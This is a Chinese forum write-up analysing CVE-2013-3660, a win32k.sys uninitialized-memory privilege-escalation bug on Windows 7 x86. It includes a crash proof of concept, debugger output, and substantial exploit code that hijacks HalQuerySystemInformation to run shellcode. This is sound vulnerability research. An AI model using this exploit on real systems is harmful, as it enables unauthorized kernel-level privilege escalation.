CVE-2013-3660提权漏洞学习笔记
2022-9-15 18:9:49 Author: 看雪学苑(查看原文) 阅读量:28 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:1900


前言

1.漏洞描述

在对win32k.sys进行压力测试时候发现的漏洞,该漏洞的是因为Windows系统在对Path子系统进行相关操作的时候,对申请用以操作的内存存在不进行初始化造成的。通过频繁地申请与释放内存,导致系统在执行win32k的bFlatten函数时,使用了未初始化的内存,而用户可以有一定的概率成功控制这块内存,导致可以让函数之后的读写操作指向非法内存引发BSOD,或指向目标函数来实现提权。

2.实验环境

  • 操作系统:Win7 x86 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg


Path子系统

1.关键结构体

Windows的Path子系统是一个关于绘制图形曲线的系统,在EPATHOBJ结构体中的pPath成员指向了用于该子系统的PATH结构体指针:

typedef struct _PATHOBJ {  FLONG  fl;  ULONG  cCurves;} PATHOBJ, *PPATHOBJ; typedef struct _EPATHOBJ{  PATHOBJ  po;  PPATH   pPath;} EPATHOBJ, *PEPATHOBJ;

PATH结构体的定义如下,主要包括了指向PATHALLOC和PATHRECORD结构体的指针:

typedef struct _PATH{   int iUnKnown[4];     // 0x10大小的未知成员   PATHALLOC *ppachain;     // 指向PATHALLOC结构体   PATHRECORD *pprfirst;    // 指向第一个PATHRECORD   PATHRECORD *pprlast;     // 指向最后一个PATHRECORD}PATH, *PPATH;

PATHALLOC是分配PATHRECORD的容器,该结构体定义如下:

typedef struct _PATHALLOC{    struct _PATHALLOC *ppanext;       // 指向下一个PATHALLOC结构体    struct _PATHRECORD *pprfreestart;   // 指向新分配的PATHRECORD结构体    ULONG siztPathAlloc;                // 当前PATHALLOC结构体大小    PATHRECORD pathRecord[0];           // PATHRECORD数组}PATHALLOC, *PPATHALLOC;

PATHRECORD是Path子系统的主要结构体,对其进行直线化操作就是对PATHRECORD结构体进行操作,该结构体定义如下:

typedef struct _PATHRECORD{    struct _PATHRECORD *pprnext;  // 指向下一个PATHRECORD     struct _PATHRECORD *pprprev;        // 指向上一个PATHRECORD    DWORD flags;               // 类型    DWORD numPoints;               // points数组元素个数    POINT points[0];               // POINT数组,记录坐标点}PATHRECORD, *PPATHRECORD

其中,flags成员指明了该结构体的类型,如,PD_BEZIERS就指明其未贝塞尔自由绘制曲线:

#define PD_BEZIERS        0x00000010

PATH,PATHALLOC,PATHRECORD结构体的关系如下图所示:

2.PATHALLOC的分配与释放

系统分配PATHRECORD结构体是通过PATHALLOC结构体实现的,freepathalloc和newpathalloc分别是用来释放和分配PATHALLOC结构体的函数。

freepathalloc函数实现如下,由该实现可以看出,在PATHALLOC中有一个freelist链表,该链表可以用来保存释放的PATHALLOC结构体,其中,cFree成员用来指定保存在freelist链表中的PATHALLOC结构体的数量。当freelist链表中保存的PATHALLOC结构体数量少于4时,释放的PATHALLOC结构体会被加入到链表中,否则直接调用ExFreePoolWithTag释放内存。

newpathalloc函数的实现如下,该函数首先判断freelist中是否存在可用的PATHALLOC结构体,如果有,则直接从freelist链表中分配,否则就会在第二处调用PALLOCMEM函数来分配内存,函数最终会将分配的内存地址赋给res,作为返回值。

在该函数中,在分配完内存以后只在LABEL_7初始化了PATHALLOC结构体前面三个成员,而之后的PATHRECORD结构体数组没有进行初始化。因此,如果是从第一处的freelist链表中分配PATHALLOC结构体,该结构体中的PATHRECORD结构体数组就会是之前释放PATHALLOC结构体时保存的数据。如果是第二处的PATLLOCMEM函数分配内存则不存在该问题,因为该函数会将内存初始化为0。

其中Win32AllocPool函数直接调用ExAllocatePoolWithTag来申请PagedPoolSession类型的内存:


漏洞分析

触发漏洞的函数为bFlatten,该函数实现如下,函数从PATH->pprfirst开始遍历查找所有的PATHRECORD结构体,对PD_BEZIERS类型的PATHRECORD结构体调用pprFlaaenRec函数。

pprFlattenRec函数首先会调用newpathrec函数申请一块PATHRECORD结构体,该结构体保存在第二个参数first_pathRecord中,对于新分配的PATHRECORD结构体,函数将其pprprev赋值为调用pprFlattenRec时,传入的PATHRECORD结构体参数的pprprev,然后将参数的pprprev指向的PATHRECORD结构体的pprnext赋值为新申请PATHRECORD结构体。

之后函数可能会多次调用newpathrec分配新的PATHRECORD结构体,然后将上面分配的PATHRECORD结构体的pprnext指向新分配的PATHRECORD结构体,同时会移动pprNew指针。

在pprFlattenRec函数的最后,函数会将pprNew的pprnext赋值为调用pprFlattenRec函数时传入的PATHRECORD参数的pprnext。

申请PATHRECORD结构体的newpathrec函数实现如下,函数首先从PATH->ppachain->pprfreestart指向的地址开始查找是否有足够的空间分配一个PATHRECORD结构体,如有则以pprfreestart指向的地址分配新PATHRECORD。否则,函数会调用newpathalloc函数先分配一个新的PATHALLOC结构体连入ppachain指向的链表的比链表头,在从新的PATHALLOC里的pprfreestart所指地址分配PATHRECORD。

newpathalloc在上面分析过了,如果是从freelist链表中分配的PATHALLOC结构体,该结构体的PATHRECORD结构体数组就会是未初始化的。因此,newpathrec返回的PATHALLOC中的PATHRECORD结构体数组很有可能是未初始化的。

而pprFlattenRec函数在函数最后才会对第一次调用newpathrec申请的PATHRECORD结构体的pprnext成员进行赋值,可是在第二次调用newpathrec函数的时候,如果此次调用,内存空间不够,该函数就会执行失败,返回的就不会是1,这样pprFlattenRec函数也会提前返回,最后对第一次申请的PATHRECORD结构体的pprnext成员进行赋值的代码也不会得到执行,这块PATHRECORD结构体的pprnext成员就没有被赋值的机会,保存的就会是这块内存原来的数值。

而bFlatten函数会通过PATHRECORD->pprnext来查找下一个PATHRECORD结构体,将其作为参数调用pprFlattenRec,如果可以想办法让此时的pprnext指向指定的内存,此时就会以指定的内存调用pprFlattenRec。


漏洞触发

bFlatten函数的调用只需要在用户层调用FlattenPath就可以实现,该函数定义如下:

BOOL FlattenPath(HDC hdc);

其中的参数可以通过调用GetDC函数,将参数传递为NULL来获取桌面HDC句柄就可以得到。

HDC GetDC(HWND hWnd);

想要利用这个函数,就需要想办法将PATHRECORD结构体的pprnext赋值为指定的内存,而通过调用PolyDraw函数可以将指定的POINT数组赋给PATHRECORD结构体的points数组。

BOOL PolyDraw(HDC hdc, POINT *lppt, CONST BYTE *lpbTypes, int cCount);

PolyDraw函数进入到内核中,会调用NtGdiPolyDraw,NtGdiPolyDraw会调用GrePolyDraw,GrePolyDraw会调用bPolyBezierTo,bPolyBezierTo会调用addpoints,addpoints函数会调用createrec函数。

createrec可能会调用newpathalloc来申请PATHALLOC结构体,如果申请失败,则会调用reinit函数,并直接返回:

reinit函数会调用vFreeBlocks,并将EPATHOBJ的部分成员清0:

vFreeBlocks函数会将大小为0xFC0的PATHALLOC释放掉:

如果createrec不调用reinit,之后会调用bXformRound,该函数会将用户层传入的POINT数组的x和y乘以0x10(左移4位)赋给PATHRECORD结构体的points成员:

在用户层调用PolyDraw的前后,需要调用BeginPath和EndPath,其中BeginPath会在内核层调用NtGdiBeginPath实现,NtGdiBeginPath可能会调用vDelete函数:

vDelete函数会调用vFreeBlocks函数来释放PATHALLOC:

因此,通过BeginPath和PolyDraw可以向内存中频繁申请和释放PATHALLOC结构体,且该结构体的PATHRECORD成员的points数组保存的坐标为在用户层指定的坐标左移4位的数值。配合FlattenPath函数,进行多次调用,有可能申请出的PATHALLOC结构体的PATHRECORD成员的pprnext的值刚好为points的坐标的值,也就是在用户层指定的POINT数组坐标左移4位的值。而为了让pprnext保存为原始的值,需要通过如下的CreateRoudRectRgn来创建圆角矩阵占有内存,让newpathrec存在返回失败的情况,这样pprnext就会保存着释放之前的值。

HRGN CreateRoundRectRgn(int nLeftRect, int nTopRect, int nRightRect, int nBottomRect, int nWidthEllipse,  int nHeightEllipse);

用户层的POINT数组的坐标需要指定为在用户层创建的PATHRECORD结构体右移4位的地址,这样就未初始化的pprnext就可能执行创建的PATHRECORD,而这个用户层创建的PATHRECORD的next需要指向自身,且flags不能位PD_BEZIERS,这样,在bFlatten函数的循环中,一旦循环到该PATHRECORD结构体,就会在循环中不断循环。

如果在不断循环的时候,将用户层的PATHRECORD结构体的next指针指向另一个在用户层创建的PATHRECORD结构体,那么就可以实现由用户来指定bFlatten函数调用pprFlattenRec函数时的PATHRECORD参数。而要找到这个合适的时机,就需要另外开起一个线程,在这个新线程中会先释放创建的圆角矩阵,在修改PATHRECORD的next指针,有一定概率可以实现所述的功能,相应的POC如下:

DWORD WINAPI WathdogThread(LPVOID param){    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)    {        while (NumRegion--) DeleteObject(Regions[NumRegion]);        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);    }     return 0;} BOOL POC_CVE_2013_3360(){    BOOL bRet = TRUE;     PathRecord = (PPATHRECORD)VirtualAlloc(NULL,                           sizeof(PATHRECORD),                           MEM_COMMIT | MEM_RESERVE,                           PAGE_EXECUTE_READWRITE);    if (!PathRecord)    {        bRet = FALSE;        ShowError("VirtualAlloc", GetLastError());        goto exit;    }     FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);     PathRecord->next = PathRecord;    PathRecord->prev = (PPATHRECORD)0x42424242;    PathRecord->flags = 0;     ExploitRecord.next = NULL;    ExploitRecord.prev = (PPATHRECORD)0x1;    ExploitRecord.flags = PD_BEZIERS;     ULONG PointNum = 0;    ULONG PointValue = (ULONG)(PathRecord) >> 4;     for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++)    {        Points[PointNum].x = PointValue;        Points[PointNum].y = PointValue;        PointTypes[PointNum] = PT_BEZIERTO;    }     SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL));     while (TRUE)    {        Mutex = CreateMutex(NULL, TRUE, NULL);        if (!Mutex)        {            bRet = FALSE;            ShowError("CreateMutex", GetLastError());            goto exit;        }         HANDLE hThread = NULL;         hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL);        if (!hThread)        {            bRet = FALSE;            ShowError("CreateThread", GetLastError());            goto exit;        }         // 消耗内存,让newpathrec函数返回失败        ULONG Size = 0;        for (Size = 1 << 26; Size; Size >>= 1) {            while (TRUE) {                HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);                if (!hm) {                    break;                }                if (NumRegion < MAX_REGIONS)                {                    Regions[NumRegion] = hm;                    NumRegion++;                }                else NumRegion = 0;            }        }         HDC Device = NULL;         Device = GetDC(NULL);         for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3)        {            // 频繁释放,申请内存            BeginPath(Device);            PolyDraw(Device, Points, PointTypes, PointNum);            EndPath(Device);            // 触发漏洞            FlattenPath(Device);            FlattenPath(Device);            EndPath(Device);        }         ReleaseMutex(Mutex);        ReleaseDC(NULL, Device);        WaitForSingleObject(hThread, INFINITE);    } exit:    return bRet;}

在POC中,ExploitRecord的prev为1,这样在pprFlattenRec函数中,执行如下所示的最开始的赋值操作的时候,就会将新创建的PATHRECORD结构体的prev赋值为1,因为此时pprFlattenRec函数的PATHRECORD结构体的参数是ExploitRecord。

而在之后执行pprNew->pprprev->pprnext = pprNew的时候,就会对地址为1的内存进行赋值,该地址是无效地址,因此会产生BSOD。编译运行POC,即可验证:

kd> gKDTARGET: Refreshing KD connectionAccess violation - code c0000005 (!!! second chance !!!)win32k!EPATHOBJ::pprFlattenRec+0x5e:83883b95 8930            mov     dword ptr [eax],esikd> r eaxeax=00000001

以下为部分错误信息:

kd> !analyze -vConnected to Windows 7 7601 x86 compatible target at (Tue Jul  5 15:38:47.483 2022 (UTC + 8:00)), ptr64 FALSE********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ******************************************************************************** PROCESS_NAME:  exp.exe FAULTING_IP: win32k!EPATHOBJ::pprFlattenRec+5e83883b95 8930            mov     dword ptr [eax],esi BUGCHECK_STR:  ACCESS_VIOLATION WRITE_ADDRESS:  00000001  DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE ERROR_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text> EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - <Unable to get error code text> STACK_TEXT:  win32k!EPATHOBJ::pprFlattenRec+0x5ewin32k!EPATHOBJ::bFlatten+0x23win32k!NtGdiFlattenPath+0x50nt!KiFastCallEntry+0x12antdll!KiFastSystemCallRetGDI32!NtGdiFlattenPath+0xcGDI32!FlattenPath+0x44 MODULE_NAME: win32k IMAGE_NAME:  win32k.sys OSBUILD:  7601


漏洞利用

现在可以通过指定ExploitRecord的prev为保存HalQuerySystemInformation函数地址的地址,来实现对其进行更改。但是,在执行pprNew->pprprev->pprnext = pprNew的时候,pprNew的大小并不可控。不过在pprFlattenRec函数的最后,会将pprNew的pprnext赋值为下一个PATHRECORD结构体的地址:

如果将ExploitRecord的next赋值为0x642464FF(对应jmp [esp + 0x64]),这样就会将pprNew所指的地址最开始的4字节赋值为该数值。此时,程序调用HalQuerySystemInformation的时候就会执行call [pprNew]跳转到pprNew所指的地址中执行,而跳转到该地址就会执行jmp [esp + 0x64]。

之所以是这条指令,是因为在调用NtQueryIntervalProfile的时候,会将要执行的ShellCode的地址作为第二个参数传递,在执行jmp [esp + 0x64]的时候,该ShellCode的地址会刚好保存在esp + 0x64处的地址,就会成功执行ShellCode。

另外,由于bFlatten函数在处理完ExploitRecord之后,会继续取下一个PATHRECORD继续执行,而此时ExploitRecord的next为0x642464FF,因此该地址需要有效,且它的next和flags需要为0来让bFlatten函数正常退出。此时的利用代码如下,其中dwMagic的值就是0x642464FF:

BOOL Init_CVE_2013_3360(){    BOOL bRet = TRUE;     HMODULE hNtdll = NULL;     hNtdll = GetModuleHandle("ntdll");    if (!hNtdll)    {        bRet = FALSE;        ShowError("GetModuleHandle", GetLastError());        goto exit;    }     pNtQueryIntervalProfile = (lpfnNtQueryIntervalProfile)GetProcAddress(hNtdll, "NtQueryIntervalProfile");    if (!pNtQueryIntervalProfile)    {        bRet = FALSE;        ShowError("GetProcAddress", GetLastError());        goto exit;    }         if (!VirtualAlloc((PVOID)(dwMagic & 0xFFFFF000),                      PAGE_SIZE,                      MEM_COMMIT | MEM_RESERVE,                      PAGE_EXECUTE_READWRITE))    {        bRet = FALSE;        ShowError("VirtualAlloc", GetLastError());        goto exit;    }     PathRecord = (PPATHRECORD)VirtualAlloc(NULL,                                           sizeof(PATHRECORD),                                           MEM_COMMIT | MEM_RESERVE,                                           PAGE_EXECUTE_READWRITE);     if (!PathRecord)    {        bRet = FALSE;        ShowError("VirtualAlloc", GetLastError());        goto exit;    }     FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);     PathRecord->next = PathRecord;    PathRecord->prev = (PPATHRECORD)(0x42424242);    PathRecord->flags = 0;     ExploitRecordExit = (PPATHRECORD)dwMagic;    ExploitRecordExit->next = NULL;    ExploitRecordExit->flags = PD_BEGINSUBPATH;    ExploitRecordExit->count = 0;     PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();     ExploitRecord.next = ExploitRecordExit;    ExploitRecord.prev = (PPATHRECORD)pHalQuerySystemInformation;    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;    ExploitRecord.count = 4;     ULONG PointNum = 0;    ULONG PointValue = (ULONG)PathRecord >> 4;     for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++)    {        Points[PointNum].x = PointValue;        Points[PointNum].y = PointValue;        PointTypes[PointNum] = PT_BEZIERTO;    }     pShellCodeBuffer = VirtualAlloc(NULL,                                     dwShellCodeSize,                                    MEM_RESERVE | MEM_COMMIT,                                    PAGE_EXECUTE_READWRITE);    if (!pShellCodeBuffer)    {        bRet = FALSE;        ShowError("VirtualAlloc", GetLastError());        goto exit;    }     ZeroMemory(pShellCodeBuffer, dwShellCodeSize);    memcpy(pShellCodeBuffer, ShellCode, dwShellCodeSize);    dwStore = *(PDWORD)pShellCodeBuffer; exit:    return bRet;} BOOL Trigger_CVE_2013_3360(){    BOOL bRet = TRUE;     HDESK hDesk = NULL;     hDesk = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL);    if (hDesk) SetThreadDesktop(hDesk);     HANDLE hThread = NULL;    HDC Device = NULL;    ULONG Size = 0, PointNum = 0;     while (TRUE)    {        Mutex = CreateMutex(NULL, TRUE, NULL);        if (!Mutex)        {            bRet = FALSE;            ShowError("CreateMutex", GetLastError());            goto exit;        }         Device = GetDC(NULL);        if (!Device)        {            bRet = FALSE;            ShowError("GetDC", GetLastError());            goto exit;        }         hThread = CreateThread(NULL, 0, WathdogThread, NULL, 0, NULL);        if (!hThread)        {            bRet = FALSE;            ShowError("CreateMutex", GetLastError());            goto exit;        }         for (Size = 1 << 26; Size; Size >>= 1)        {            while (TRUE)            {                HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);                if (!hm) break;                 if (NumRegion < MAX_REGIONS)                {                    Regions[NumRegion] = hm;                    NumRegion++;                }                else NumRegion = 0;            }        }         for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3)        {            BeginPath(Device);            PolyDraw(Device, Points, PointTypes, PointNum);            EndPath(Device);            FlattenPath(Device);            FlattenPath(Device);             pNtQueryIntervalProfile(2, (PULONG)pShellCodeBuffer);            *(PDWORD)pShellCodeBuffer = dwStore;             EndPath(Device);             if (PathRecord->next == &ExploitRecord) goto exit;        }         // 运行到此处,说明漏洞触发失败了,释放掉资源        ReleaseMutex(Mutex);        ReleaseDC(NULL, Device);        WaitForSingleObject(hThread, INFINITE);    } exit:    return bRet;}


运行结果

完整的漏洞利用代码保存在:https://github.com/LegendSaber/exp/blob/master/exp/CVE-2013-3660.cpp。如果要查看执行ShellCode的过程,可以在调用NtQueryIntervalProfile之前加入如下代码:

if (PathRecord->next == &ExploitRecord) __asm int 3;

编译运行程序,当系统中断的时候就可以在nt!KeQueryIntervalProfile中的关键位置下断点,可以看到目标函数地址已经被修改为一个新的地址。而这个地址中保存的就是jmp [esp + 0x64]这条指令:

继续执行,就会执行jmp [esp + 0x64]这条指令,且执行这条指令的时候,esp + 0x64中保存的是ShellCode的地址:

kd> ta81cb014 ff642464        jmp     dword ptr [esp+64h]kd> dd esp + 64 L489338c30  00220000 0012ff00 776770b4 badb0d00

因此,继续执行就会跳转执行ShellCode的提权代码:

执行完成,程序就会成功提权:

《漏洞战争》
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm

看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区

峰会官网:https://meet.kanxue.com/kxmeet-6.htm
扫码报名参会

# 往期推荐

1.Windows驱动编程之NDIS(VPN)

2.利用AndroidNativeEmu完成多层jni调用的模拟

3.因优化而导致的溢出与CVE-2020-16040

4.LLVM PASS PWN 总结

5.win10 1909逆向之APIC中断和实验

6.EMET下EAF机制分析以及模拟实现

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458470220&idx=1&sn=b83a9b4bddc03d7a910296727678a9f6&chksm=b18e77c686f9fed0f03d011592aae4a2ff4c28e61eb0c9563db5e2610718df58eed52a09e2c9#rd
如有侵权请联系:admin#unsafe.sh